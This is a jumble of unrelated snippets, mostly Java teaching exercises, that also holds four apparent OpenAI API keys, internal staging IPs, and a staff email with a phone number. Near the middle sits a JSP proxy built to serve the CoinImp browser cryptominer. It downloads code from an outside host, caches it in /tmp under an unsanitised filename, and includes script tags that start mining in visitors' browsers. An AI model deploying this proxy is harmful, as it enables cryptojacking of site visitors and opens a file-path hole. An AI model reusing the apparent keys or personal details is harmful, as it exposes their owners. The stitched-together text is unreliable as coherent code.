        al.add(7);

        al.add(30);

        al.add(49);

        al.add(100);

        System.out.println("Actual List: " + al);

        Stream<Integer> odds = al.stream().filter(n -> n % 2 == 1);

        System.out.print("Odd Numbers: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

        List<Integer> oddList = al.stream().filter(n -> n % 2 == 1).collect(Collectors.toList());

        System.out.println("The list: " + oddList);

        Set<Integer> oddSet = al.stream().filter(n -> n % 2 == 1).collect(Collectors.toSet());

        System.out.println("The set: " + oddSet);

    }

}
import java.util.*;

import java.util.stream.*;

public class MappingDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(5);

        al.add(16);

        al.add(25);

        al.add(30);

        al.add(49);

        al.add(100);

        System.out.println("Actual List: " + al);

        Stream<Double> sqr = al.stream().map(n -> Math.sqrt(n));

        System.out.print("Square roots: ");

        sqr.forEach(n -> System.out.print("[" + n + "] "));

        System.out.println();

    }

}
import java.util.*;

import java.util.stream.*;

public class ReductionDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(10);

        al.add(20);

        al.add(30);

        al.add(40);

        al.add(50);

        System.out.println("Contents of the collection: " + al);

        System.out.println();

        Optional<Integer> obj1 = al.stream().reduce((x, y) -> (x + y));

        if(obj1.isPresent())

            System.out.println("Total is: " + obj1.get());

        System.out.println();

        long product = al.stream().reduce(1, (x, y) -> (x * y));

        System.out.println("Product is: " + product);

    }

}
import java.util.*;

import java.util.stream.*;

public class StreamDemo {

    public static void main(String[] args) {

        ArrayList<Integer> al = new ArrayList<>();

        al.add(7);

        al.add(18);

        al.add(10);

        al.add(24);

        al.add(17);

        al.add(5);

        System.out.println("Actual List: " + al);

        Stream<Integer> stm = al.stream();  // get a stream; factory method

        Optional<Integer> least = stm.min(Integer::compare);   // Integer class implements Comparator [compare(obj1, obj2) static method]

        if(least.isPresent())

            System.out.println("Minimum integer: " + least.get());

        // min is a terminal operation, get the stream again

        /* 

        Optional<T> is a generic class packaged in java.util package.

        An Optional class instance can either contains a value of type T or is empty.

        Use method isPresent() to check if a value is present. Obtain the value by calling get() 

        */

        stm = al.stream();

        System.out.println("Available values: " + stm.count());

        stm = al.stream();

        Optional<Integer> higher = stm.max(Integer::compare);

        if(higher.isPresent())

            System.out.println("Maximum integer: " + higher.get());

        // max is a terminal operation, get stream again

        Stream<Integer> sortedStm = al.stream().sorted();    // sorted() is intermediate operation

        // here, we obtain a sorted stream

        System.out.print("Sorted stream: ");

        sortedStm.forEach(n -> System.out.print(n + " "));   // lambda expression

        System.out.println();

        /* 

        Consumer<T> is a generic functional interface declared in java.util.function

        Its abstract method is: void accept(T obj)

        The lambda expression in the call to forEach() provides the implementation of accept() method.

        */

        Stream<Integer> odds = al.stream().sorted().filter(n -> (n % 2) == 1);

        System.out.print("Odd values only: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

        /* 

        Predicate<T> is a generic functional interface defined in java.util.function

        and its abstract method is test(): boolean test(T obj)

        Returns true if object for test() satisfies the predicate and false otherwise.

        The lambda expression passed to the filter() implements this method.

        */

        odds = al.stream().sorted().filter(n -> (n % 2) == 1).filter(n -> n > 5);   // possible to chain the filters

        System.out.print("Odd values bigger than 5 only: ");

        odds.forEach(n -> System.out.print(n + " "));

        System.out.println();

    }

}
interface Refer{
    String m(String s);
}

class StringOperation{
    public String reverse(String s){
        String r = "";
        for(int i = s.length()-1;i>=0;i--)
            r+=s.charAt(i);
        return r;
    }
}

public class ReferDemo{
    public static String m(Refer r, String s){
        return r.m(s);
    }
    
    public static void main(String[] args){
        String s = "hello";
        System.out.println(m((new StringOperation()::reverse), s));
    }
}
import java.util.Scanner;

public class AVLTree<T extends Comparable<T>> {
    class Node {
        T value;
        Node left, right;
        int height = 0;
        int bf = 0;

        public Node(T ele) {
            this.value = ele;
            this.left = this.right = null;
        }
    }

    private Node root;

    public boolean contains(T ele) {
        if (ele == null) {
            return false;
        }
        return contains(root, ele);
    }
    private boolean contains(Node node, T ele) {
        if(node == null) return false;
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            return contains(node.right, ele);
        else if (cmp < 0)
            return contains(node.left, ele);
        return true;
    }

    public boolean insert(T ele) {
        if (ele == null || contains(ele))
            return false;
        root = insert(root, ele);
        return true;
    }
    private Node insert(Node node, T ele) {
        if (node == null)
            return new Node(ele);
        int cmp = ele.compareTo(node.value);
        if (cmp < 0)
            node.left = insert(node.left, ele);
        else
            node.right = insert(node.right, ele);
        update(node);
        return balance(node);
    }

    public boolean delete(T ele) {
        if (ele == null || !contains(ele))
            return false;

        root = delete(root, ele);
        return true;
    }
    private Node delete(Node node, T ele) {
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            node.right = delete(node.right, ele);
        else if (cmp < 0)
            node.left = delete(node.left, ele);
        else {
            if (node.right == null)
                return node.left;
            else if (node.left == null)
                return node.right;
            if (node.left.height > node.right.height) {
                T successor = findMax(node.left);
                node.value = successor;
                node.left = delete(node.left, successor);
            } else {
                T successor = findMin(node.right);
                node.value = successor;
                node.right = delete(node.right, successor);
            }
        }
        update(node);
        return balance(node);
    }

    private T findMax(Node node) {
        while (node.right != null) {
            node = node.right;
        }
        return node.value;
    }
    private T findMin(Node node) {
        while (node.left != null) {
            node = node.left;
        }
        return node.value;
    }

    private void update(Node node) {
        int leftSubTreeHeight = (node.left == null) ? -1 : node.left.height;
        int rightSubTreeHeight = (node.right == null) ? -1 : node.right.height;

        node.height = 1 + Math.max(leftSubTreeHeight, rightSubTreeHeight);
        node.bf = leftSubTreeHeight - rightSubTreeHeight;
    }

    private Node balance(Node node) {
        if (node.bf == 2) {
            if (node.left.bf >= 0) {
                return leftLeftRotation(node);
            } else {
                return leftRightRotation(node);
            }
        } else if (node.bf == -2) {
            if (node.right.bf >= 0) {
                return rightLeftRotation(node);
            } else {
                return rightRightRotation(node);
            }
        }
        return node;
    }

    private Node leftLeftRotation(Node node) {
        Node newParent = node.left;
        node.left = newParent.right;
        newParent.right = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node rightRightRotation(Node node) {
        Node newParent = node.right;
        node.right = newParent.left;
        newParent.left = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node leftRightRotation(Node node) {
        node.left = rightRightRotation(node.left);
        return leftLeftRotation(node);
    }
    private Node rightLeftRotation(Node node) {
        node.right = leftLeftRotation(node.right);
        return rightRightRotation(node);
    }

    public void inorder() {
        if (root == null)
            return;
        inorder(root);
        System.out.println();
    }
    private void inorder(Node node) {
        if(node == null) return;
        inorder(node.left);
        System.out.print(node.value + " ");
        inorder(node.right);
    }
    
    public void preorder() {
        if (root == null)
        return;
        preorder(root);
        System.out.println();
    }
    private void preorder(Node node) {
        if(node == null) return;
        System.out.print(node.value + " ");
        preorder(node.left);
        preorder(node.right);
    }
    
    public void postorder() {
        if (root == null)
        return;
        postorder(root);
        System.out.println();
    }
    private void postorder(Node node) {
        if(node == null) return;
        postorder(node.left);
        postorder(node.right);
        System.out.print(node.value + " ");
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        AVLTree<Integer> avl = new AVLTree<>();
        int ch;
        do {
            System.out.println("1. Insert a value");
            System.out.println("2. Delete a value");
            System.out.println("3. Display");
            System.out.println("4. Exit");
            System.out.print("Enter choice: ");
            ch = sc.nextInt();
            switch (ch) {
                case 1:
                    System.out.print("Enter value: ");
                    int ele = sc.nextInt();
                    if(!avl.insert(ele)) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 2:
                    System.out.print("Enter value: ");
                    if(!avl.delete(sc.nextInt())) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 3:
                    avl.preorder();
                    break;
                case 4:
                    System.exit(0);
                    break;
            
                default:
                    break;
            }
        } while(ch != 4);
        sc.close();
    }
}
//PriorityQueue using ArrayList

import java.util.*;

public class PriorityQueueDemo<K extends Comparable<K>, V>{
    static class Entry<K extends Comparable<K>, V>{
        private K key;
        private V value;
        
        public Entry(K key, V value){
            this.key = key;
            this.value = value;
        }
        
        public K getKey(){
            return this.key;
        }
        
        public V getValue(){
            return this.value;
        }
        
        
    }
    
    private ArrayList<Entry<K,V>> list = new ArrayList<>();
    
    public void insert(K key, V value){
        Entry<K,V> entry = new Entry<>(key,value);
        int insertIndex = 0;
        for(int i=0;i<list.size();i++){
            if(list.get(i).getKey().compareTo(key)>0)
                break;
            insertIndex++;
        }
        list.add(insertIndex, entry);
    }
    
    public K getMinKey(){
        return list.get(0).getKey();
    }
    
    public V getMinValue(){
        return list.get(0).getValue();
    }
    
     public static void main(String[] args){
        PriorityQueueDemo<Integer, String> p = new PriorityQueueDemo<>();
        p.insert(5,"hello");
        p.insert(2,"java");
        p.insert(1, "programming");
        p.insert(3, "welcome");
        
        System.out.println("Minimum Key: "+p.getMinKey());
        System.out.println("Minimum Value: "+p.getMinValue());
    }
}
//Priority Queue using TreeMap

import java.util.*;
public class PriorityQueueDemo<K, V>{
    private TreeMap<K, V> tm;
    
    public PriorityQueueDemo(){
        tm = new TreeMap();
    }
    
    public void insert(K key, V value){
        tm.put(key, value);
    }
    
    
    public K getMinKey(){
        return tm.firstEntry().getKey();
    }
    
    public V getMinValue(){
        return tm.firstEntry().getValue();
    }
    
    public static void main(String[] args){
        PriorityQueueDemo<Integer, String> p = new PriorityQueueDemo<>();
        p.insert(5,"hello");
        p.insert(2,"java");
        p.insert(1, "programming");
        p.insert(3, "welcome");
        
        System.out.println("Minimum Key: "+p.getMinKey());
        System.out.println("Minimum Value: "+p.getMinValue());
    }
}
import android.webkit.CookieManager;
import android.webkit.WebView;

public class MainActivity extends AppCompatActivity {
  private WebView webView;

  @Override
  protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    webView = findViewById(R.id.webview);

    // Let the web view accept third-party cookies.
    CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true);
    // Let the web view use JavaScript.
    webView.getSettings().setJavaScriptEnabled(true);
    // Let the web view access local storage.
    webView.getSettings().setDomStorageEnabled(true);
    // Let HTML videos play automatically.
    webView.getSettings().setMediaPlaybackRequiresUserGesture(false);
  }
}
CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true);
import java.util.Scanner;

public class AVLTree<T extends Comparable<T>> {
    class Node {
        T value;
        Node left, right;
        int height = 0;
        int bf = 0;

        public Node(T ele) {
            this.value = ele;
            this.left = this.right = null;
        }
    }

    private Node root;

    public boolean contains(T ele) {
        if (ele == null) {
            return false;
        }
        return contains(root, ele);
    }
    private boolean contains(Node node, T ele) {
        if(node == null) return false;
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            return contains(node.right, ele);
        else if (cmp < 0)
            return contains(node.left, ele);
        return true;
    }

    public boolean insert(T ele) {
        if (ele == null || contains(ele))
            return false;
        root = insert(root, ele);
        return true;
    }
    private Node insert(Node node, T ele) {
        if (node == null)
            return new Node(ele);
        int cmp = ele.compareTo(node.value);
        if (cmp < 0)
            node.left = insert(node.left, ele);
        else
            node.right = insert(node.right, ele);
        update(node);
        return balance(node);
    }

    public boolean delete(T ele) {
        if (ele == null || !contains(ele))
            return false;

        root = delete(root, ele);
        return true;
    }
    private Node delete(Node node, T ele) {
        int cmp = ele.compareTo(node.value);
        if (cmp > 0)
            node.right = delete(node.right, ele);
        else if (cmp < 0)
            node.left = delete(node.left, ele);
        else {
            if (node.right == null)
                return node.left;
            else if (node.left == null)
                return node.right;
            if (node.left.height > node.right.height) {
                T successor = findMax(node.left);
                node.value = successor;
                node.left = delete(node.left, successor);
            } else {
                T successor = findMin(node.right);
                node.value = successor;
                node.right = delete(node.right, successor);
            }
        }
        update(node);
        return balance(node);
    }

    private T findMax(Node node) {
        while (node.right != null) {
            node = node.right;
        }
        return node.value;
    }
    private T findMin(Node node) {
        while (node.left != null) {
            node = node.left;
        }
        return node.value;
    }

    private void update(Node node) {
        int leftSubTreeHeight = (node.left == null) ? -1 : node.left.height;
        int rightSubTreeHeight = (node.right == null) ? -1 : node.right.height;

        node.height = 1 + Math.max(leftSubTreeHeight, rightSubTreeHeight);
        node.bf = leftSubTreeHeight - rightSubTreeHeight;
    }

    private Node balance(Node node) {
        if (node.bf == 2) {
            if (node.left.bf >= 0) {
                return leftLeftRotation(node);
            } else {
                return leftRightRotation(node);
            }
        } else if (node.bf == -2) {
            if (node.right.bf >= 0) {
                return rightLeftRotation(node);
            } else {
                return rightRightRotation(node);
            }
        }
        return node;
    }

    private Node leftLeftRotation(Node node) {
        Node newParent = node.left;
        node.left = newParent.right;
        newParent.right = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node rightRightRotation(Node node) {
        Node newParent = node.right;
        node.right = newParent.left;
        newParent.left = node;
        update(node);
        update(newParent);
        return newParent;
    }
    private Node leftRightRotation(Node node) {
        node.left = rightRightRotation(node.left);
        return leftLeftRotation(node);
    }
    private Node rightLeftRotation(Node node) {
        node.right = leftLeftRotation(node.right);
        return rightRightRotation(node);
    }

    public void inorder() {
        if (root == null)
            return;
        inorder(root);
        System.out.println();
    }
    private void inorder(Node node) {
        if(node == null) return;
        inorder(node.left);
        System.out.print(node.value + " ");
        inorder(node.right);
    }
    
    public void preorder() {
        if (root == null)
        return;
        preorder(root);
        System.out.println();
    }
    private void preorder(Node node) {
        if(node == null) return;
        System.out.print(node.value + " ");
        preorder(node.left);
        preorder(node.right);
    }
    
    public void postorder() {
        if (root == null)
        return;
        postorder(root);
        System.out.println();
    }
    private void postorder(Node node) {
        if(node == null) return;
        postorder(node.left);
        postorder(node.right);
        System.out.print(node.value + " ");
    }

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        AVLTree<Integer> avl = new AVLTree<>();
        int ch;
        do {
            System.out.println("1. Insert a value");
            System.out.println("2. Delete a value");
            System.out.println("3. Display");
            System.out.println("4. Exit");
            System.out.print("Enter choice: ");
            ch = sc.nextInt();
            switch (ch) {
                case 1:
                    System.out.print("Enter value: ");
                    int ele = sc.nextInt();
                    if(!avl.insert(ele)) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 2:
                    System.out.print("Enter value: ");
                    if(!avl.delete(sc.nextInt())) {
                        System.out.println("Invalid input");
                    }
                    break;
                case 3:
                    avl.preorder();
                    break;
                case 4:
                    System.exit(0);
                    break;
            
                default:
                    break;
            }
        } while(ch != 4);
        sc.close();
    }
}
http://chatbotscriptmanage.dev.com/login

10.240.144.197 staging.chatbot-public.cyberbot.vn
10.240.144.197 staging.chatbot-private.cyberbot.vn
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

sk-proj-FrAcuJSTxPSFr9DNpCc6T3BlbkFJxsg70pKZaJdlDMscfBhL


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

sk-proj-cwkoOcKTTpuwjPgVbU9AT3BlbkFJ4o2iDTsWWLckZhIkX1Zt

https://go.microsoft.com/fwlink/?linkid=2213926

curl https://YOUR_RESOURCE_NAME.openai.azure.com/openai/deployments/YOUR_DEPLOYMENT_NAME/extensions/chat/completions?api-version=2023-12-01-preview \
  -H "Content-Type: application/json" \
  -H "api-key: YOUR_API_KEY" \
  -d '{"enhancements":{"ocr":{"enabled":true},"grounding":{"enabled":true}},"dataSources":[{"type":"AzureComputerVision","parameters":{"endpoint":" <Computer Vision Resource Endpoint> ","key":"<Computer Vision Resource Key>"}}],"messages":[{"role":"system","content":"You are a helpful assistant."},{"role":"user","content":[{"type":"text","text":"Describe this picture:"},{"type":"image_url","image_url":"https://learn.microsoft.com/azure/ai-services/computer-vision/media/quickstarts/presentation.png"}]}]}'
Anh gửi thông tin về Chatbot đối tác SMAX đang tích hợp trên fanpage
Viettel Money, cụ thể:

1. Thông tin tích hợp



2. Luồng tích hợp



3. Kịch bản test

- Truy cập đường dẫn:
https://miro.com/app/board/uXjVKLcwGxU=/?fbclid=IwZXh0bgNhZW0CMTAAAR0KSvvl8T
KF5FlWmIZhGbTqrmvBd_Ff0fUzzcOK7JIiP-GqqvaV5x7qv08_aem_ARrV9Ba0Zsj8FWU5bPDRQK
w8_8hKtH0x_NTigEusc8UGGg4kPDGLI6tmY9wfQeD6-0Te36JRXDm4AGuxiT3hEJTS

- Hướng dẫn test:

1. Người dùng bình luận tại bài viết theo đường dẫn
https://www.facebook.com/ViettelMoney/posts/pfbid0PjCVf1DL1A74j24ECkeMrekYJF
M3bXGqirFkqDV54esJy4Vvtbm4HsCNXw7NuXZYl

2. Chatbot gửi tin nhắn từ bình luận, người dùng tương tác theo luồng
tương ứng trên messenger

(ví dụ 1 luồng khai thác số điện thoại tại ảnh đính kèm)



Trân trọng!

------------------------

Dương Đức Anh

P. QLCL &amp; CSKH – TCT VDS

SĐT: 0964052947
<p>TopHomeworkHelper.com offers comprehensive programming help for students, covering various programming languages like Java, Python, C++, and more. Services include assignment help, coding assistance, and debugging support. With 24/7 availability and experienced tutors, the platform ensures timely and reliable solutions for all programming-related academic needs.<br /><br />Source:&nbsp;<a href="https://tophomeworkhelper.com/programming-help.html" target="_blank" rel="noopener">Programming Homework Help</a></p>
<p>&nbsp;</p>
<%@page autoFlush="false" session="false"%><%@page import = "java.net.*,java.io.*,java.util.*" %><%
/*
 
This is a generic caching proxy built for use with Java hosted sites (Caucho, Resin, Tomcat, etc.). This was 
originally built for use with CoinImp.com JavaScript miner. However, the AV friendly code supplied by CoinImp 
is PHP only.  You may place this .jsp file on your server instead of using the CoinImp PHP file. Here is an 
example of how to call the JSP proxy code from your JavaScript client. Note, substitute the correct Client ID 
which you can obtain from the CoinImp portal. Also, set the throttle as you need it.
 
<script src="/coinproxy.jsp?f=1Ri3.js"></script>
<script>
    var _client = new Client.Anonymous('YOUR KEY GOES HERE', {
        throttle: 0.7
    });     
    _client.start();
            
</script>   
 
// Hopefully you find this useful. No guarantees or warranties are made. Use at your own risk. This code is released to the public domain.
 
If you find this code useful, I would gladly accept Monero or donations to Coinbase Commerce:
 
MONERO ADDRESS: 424g2dLQiUzK9x28KLpi2fAuTVSAUrz1KM49MvmMdmJZXF3CDHedQhtDRanQ8p6zEtd1BjSXCAopc4tAxG5uLQ8pBMQY54m
COINBASE ADDRESS: https://commerce.coinbase.com/checkout/dd0e7d0d-73a9-43a6-bbf2-4d33515aef49
 
Thanks
*/
 
try {
        response.setHeader("Access-Control-Allow-Origin", "*");
        response.setCharacterEncoding("UTF-8");
        String filename=request.getParameter("f");
        if(filename.contains(".js")) { response.setContentType("application/javascript; charset=utf-8");
        } else { response.setContentType("application/octet-stream; charset=utf-8");
        }
        String host = java.net.URLEncoder.encode(request.getRequestURL().toString(),"UTF-8").replace("+","%20");
        String reqUrl = "http://www.wasm.stream?filename="+java.net.URLEncoder.encode(filename,"UTF-8").replace("+","%20")+"&host="+host;
        File f=new File("/tmp/"+filename);
 
        if(!f.exists() || (new Date().getTime() - f.lastModified())>60*60*1000) {
                // fetch code from server 
 
                URL url = new URL(reqUrl);
                HttpURLConnection uc = (HttpURLConnection) url.openConnection();
                InputStream in = uc.getInputStream();
 
                // save in /tmp
                FileOutputStream fo = new FileOutputStream(f);
 
                byte[] buffer = new byte[4096];
 
                int i=0;
                int count;
 
                while ((count = in.read(buffer)) != -1) {
                        i+=count;
                  fo.write(buffer,0,count);
                }
                fo.flush();
                fo.close();
                in.close();
        }
 
        // now open file and stream as response
 
        FileInputStream fi=new FileInputStream(f);
        OutputStream output = response.getOutputStream();
 
        response.setContentLength((int)(f.length()));
 
        // read cached copy
        System.out.println("File length: "+String.valueOf(f.length()));
 
        byte[] buffer = new byte[4096];
 
        int i=0;
        int count;
 
        while((count = fi.read(buffer)) != -1) {
                i+=count;
                output.write(buffer,0,count);
        }
        fi.close();
 
} catch (Exception e) {
e.printStackTrace();
}
%>
Nomes de classes devem começar com letra maiúscula e usar a convenção PascalCase (também conhecida como Upper CamelCase).
Exemplo: MinhaClasse

Nomes de métodos devem começar com letra minúscula e usar a convenção camelCase.
Exemplo: meuMetodo()

Nomes de constantes devem ser totalmente em letras maiúsculas, separadas por underline.
Exemplo: MINHA_CONSTANTE

Nomes de variáveis devem começar com letra minúscula e usar a convenção camelCase.
Exemplo: minhaVariavel

Todas as linhas de código devem ter no máximo 80 caracteres de largura para facilitar a leitura.

Recomenda-se usar espaços em branco para separar operadores, palavras-chave e elementos de controle de fluxo.
Exemplo: if (condicao) {
 Node reverseList(Node head)
    {
        if(head == null || head.next == null)
            return head;
        Node p = reverseList(head.next);
        head.next.next = head;
        head.next = null;
        return p;
    }
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static String findBinary(int num, String result) {
        if(num == 0)
            return result;
        
        result = num % 2 + result;
        return findBinary(num / 2, result);
    } 
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(findBinary(12, ""));

	}
}
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static boolean isPalindrome(String str) {
        if(str.length() == 0 || str.length() == 1)
            return true;
        
        if(str.charAt(0) == str.charAt(str.length() - 1))
            return isPalindrome(str.substring(1, str.length() - 1));
        
        return false;
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(isPalindrome("abcba"));

	}
}
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static String reverse(String input) {
        if(input.equals(""))
            return "";
        return reverse(input.substring(1)) + input.charAt(0);
    }
	public static void main (String[] args) throws java.lang.Exception
	{
	    
	   System.out.println(reverse("hello"));
	}
}
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static int recursiveSum(int num) {
        if(num <= 1)
            return num;
        
        return num + recursiveSum(num - 1);
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
		System.out.println(recursiveSum(10));

	}
}


// -----------------------------------------------------------
$A.get("e.force:navigateToURL").setParams(
    {"url": "/apex/pageName?id=00141000004jkU0AAI"}).fire();
$A.get("e.force:navigateToURL").setParams({"url": "/apex/pageName"}).fire();
import java.util.*;
import java.lang.*;
import java.io.*;

class Codechef
{
    public static void mergeSort(int[] data, int start, int end) {
        if(start < end) {
            int mid = (start + end) / 2;
            mergeSort(data, start, mid);
            mergeSort(data, mid + 1, end);
            merge(data, start, mid, end);
        }
    }
    public static void merge(int[] data, int start, int mid, int end) {
        int[] temp = new int[end - start + 1];
        System.out.println(start +" "+ mid +" "+end);
        
        // i --> starting of left subarray, j--> starting of right subarray
        // mid --> Ending of left subarray, end--> Ending of right subarray
        // k--> pointer for temp array
        int i = start, j = mid + 1, k = 0;
        
        // Ist merge i.e both left and right subarrays have values 
        while(i <= mid && j <= end) {
            if(data[i] <= data[j]) 
                temp[k++] = data[i++];
            else    
                temp[k++] = data[j++];
        }
        
        // 2nd merge i.e run only when left subrray is remaining to be merged
        // and right subrray is done with merging
        while(i <= mid) {
            temp[k++] = data[i++];
        }
        
        // 2nd merge i.e run only when right subrray is remaining to be merged
        // and left subrray is done with merging
        while(j <= end) {
            temp[k++] = data[j++];
        }
        
        // putting back sorted values from temp into the original array
        for(i = start; i <= end; i++) {
            data[i] = temp[i - start];
        }
        
    }
	public static void main (String[] args) throws java.lang.Exception
	{
	    int data[] = {38, 27, 43, 3, 9, 82, 10};
		mergeSort(data, 0 , data.length - 1);
		for(int num : data) {
		    System.out.print(num +" ");
		}

	}
}
Employee.java

public class Employee {
    private String cnic;
    private String name;
    private double salary;

    public Employee() {
        System.out.println("No-argument constructor called");
    }

    public Employee(String cnic, String name) {
        setCnic(cnic);
        setName(name);
    }

    public Employee(String cnic, String name, double salary) {
        this(cnic,name);
        setSalary(salary);
    }

    public String getCnic() {
        return cnic;
    }

    public void setCnic(String cnic) {
        this.cnic = cnic;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public double getSalary() {
        return salary;
    }

    public void setSalary(double salary) {
        this.salary = salary;
    }

    public void getEmployee(){
        System.out.println("CNIC: " + cnic);
        System.out.println("Name: " + name);
        System.out.println("Salary: " + salary);
    }
}

///////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////

EmployeeTest.java

public class EmployeeTest {
    public static void main(String[] args) {
        System.out.println();
        Employee employee1 = new Employee();
        Employee employee2 = new Employee("34104-1234567-9","Muhammad Abdul Rehman");
        Employee employee3 = new Employee("34104-9876543-2","Ahmad",100000);


        employee1.getEmployee();
        System.out.println("----------------");
        employee2.getEmployee();
        System.out.println("-----------------");
        employee3.getEmployee();
        System.out.println("-----------------");
    }

}

public boolean isPowerOfFour(int n) {
        // If a number is power of 2, It will have 1 bit at even position and if its a power of 4, 
        // which is not a power of 2 e.g. 128 it will have 1 bit at odd position.

        return (n >0) && ((n &(n-1)) ==0) && ((n & 0xaaaaaaaa) ==0);
        
    }
public String addBinary(String a, String b) {
       BigInteger num1 = new BigInteger(a,2);
       BigInteger num2 = new BigInteger(b,2);
       BigInteger zero = new BigInteger("0",2);
       BigInteger carry, answer;
       while(!num2.equals(zero)) {
        answer = num1.xor(num2);
        carry = num1.and(num2).shiftLeft(1);
        num1 = answer;
        num2 = carry;
       }
        return num1.toString(2);
    }
public char findTheDifference(String s, String t) {
        char ch =0;
        for(int i=0; i<s.length(); i++) {
            ch ^= s.charAt(i);
        }
        for(int i=0; i<t.length(); i++) {
            ch ^= t.charAt(i);
        }
        return ch;
    }
 if (num == 0) {
            return 1;
        }

        int bitCount = (int) Math.floor((int)(Math.log(num) / Math.log(2))) + 1;
        int allBitsSet = (1 << bitCount) - 1;
        return num ^ allBitsSet;
 // find number of 1 bits
        int n = 10; //101
        int count =0;
        // will repeatedly do and of number with(n-1), as this flips the LSB 1 bit
        while(n !=0) {
            count++;
            n &= (n-1);

        }
        System.out.println("count is " + count);
// creating a monotonic stack
        int[] arr = new int[]{1,2,6,3,5,9, 11,7,};
        Deque<Integer> stack = new LinkedList<>();
        for(int i=0; i<arr.length; i++) {
            while(!stack.isEmpty() && stack.peek()< arr[i]) {
                stack.pop();
            }
            stack.push(arr[i]);
        }
        System.out.println("stack is " + stack);
// converting binary to decimal
        int[] n = new int[]{1, 0, 0, 0, 0};
        int num = 0;
        for (int i = 0; i < n.length; i++)
        {
            num = (num<<1) | n[i];
        }
        System.out.println(num);
    
Circle.java

public class Circle{
	private double radius;
	
	public Circle(double radius){
		if(radius > 0){
			this.radius = radius;
		}
		else{
			System.out.println("Invalid radius value.Radius value must be greater than 0.");
		}
	}
	
	public double getRadius(){
		return radius;
	}
	
	public void setRadius(double radius){
		if(radius > 0){
			this.radius = radius;
		}
		else{
			System.out.println("Invalid radius value.Radius value must be greater than 0.");
		}
	}
	
	public double calculateArea(){
		return Math.PI * radius * radius;
	}
	
	public double calculatePerimeter(){
		return 2 * Math.PI * radius;
	}	
}

/////////////////////////////////////////////
////////////////////////////////////////////

TestCircle.java

public class TestCircle{
	
	public static void main(String args[]){
		
		Circle circle = new Circle(5);
		
		System.out.println("Radius: " + circle.getRadius());
		System.out.printf("Area: %.2f\n" , circle.calculateArea());
		System.out.printf("Perimeter: %.2f\n" , circle.calculatePerimeter());
		
		circle.setRadius(8);
		
		System.out.println("Updated Radius: " + circle.getRadius());
		System.out.printf("Updated Area: %.2f\n" , circle.calculateArea());
		System.out.printf("Updated Perimeter: %.2f\n" , circle.calculatePerimeter());
		
		circle.setRadius(-3);
		
		
	}
	
}
/*
 * This Java source file was generated by the Gradle 'init' task.
 */
package gradleproject2;

import java.io.IOException;
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
import org.apache.pdfbox.pdmodel.PDPageContentStream;
import org.apache.pdfbox.pdmodel.font.PDType1Font;
import org.apache.pdfbox.pdmodel.font.Standard14Fonts;

public class App {

    public String getGreeting() {
        return "Hello World!";
    }

    public static void main(String[] args) throws IOException {
        // System.out.println(new App().getGreeting());

        //Creating PDF document object 
        PDDocument document = new PDDocument();

        for (int i = 0; i < 10; i++) {
            //Creating a blank page 
            PDPage blankPage = new PDPage();

            PDPageContentStream contentStream = new PDPageContentStream(document, blankPage);

            contentStream.setFont(new PDType1Font(Standard14Fonts.FontName.HELVETICA_BOLD), 12);

            // Add text to the page
            contentStream.beginText();

            contentStream.newLineAtOffset(100, 700);

            contentStream.showText("Hello World, how are you !");

            contentStream.endText();

            //Adding the blank page to the document
            document.addPage(blankPage);
            contentStream.close();
        }

        //Saving the document
        document.save("C:/Users/chachou/Desktop/test java/javageneratepdf.pdf");
        System.out.println("PDF created");
        
      
        //Closing the document
        document.close();
    }
}
BankAccount.java

import java.util.Scanner;

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	private String accountType;
	
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void setAccountType(String type){
		this.accountType = type;
	}
	
	public void withdraw(double amount){
		if(balance >= amount){
			if(balance - amount < 50000){
				System.out.println("Asre you sure you want to withdraw, it would make your balance below 50,000");
				System.out.println("Press 1 to continue and 0 to abort");
				Scanner input = new Scanner(System.in);
				int confirm = input.nextInt();
				if(confirm != 1){
					System.out.println("Withdrawal aborted");
					return;
				}
			}
			double withdrawAmount = amount;
			if(balance < 50000){
				withdrawAmount = withdrawAmount + amount * 0.02;
				withdrawCount++;
			}
			balance = balance - withdrawAmount;
			System.out.println(withdrawAmount + " is successfully withdrawn");
			
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	
	public void subscribeSmsAlert(){
		if(accountType.equals("STANDARD")){
			balance -= 2000;
		}
	}
	
	public void subscribeDebitCard(){
		if(accountType.equals("STANDARD")){
			balance -= 5000;
		}
	}
	
	
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

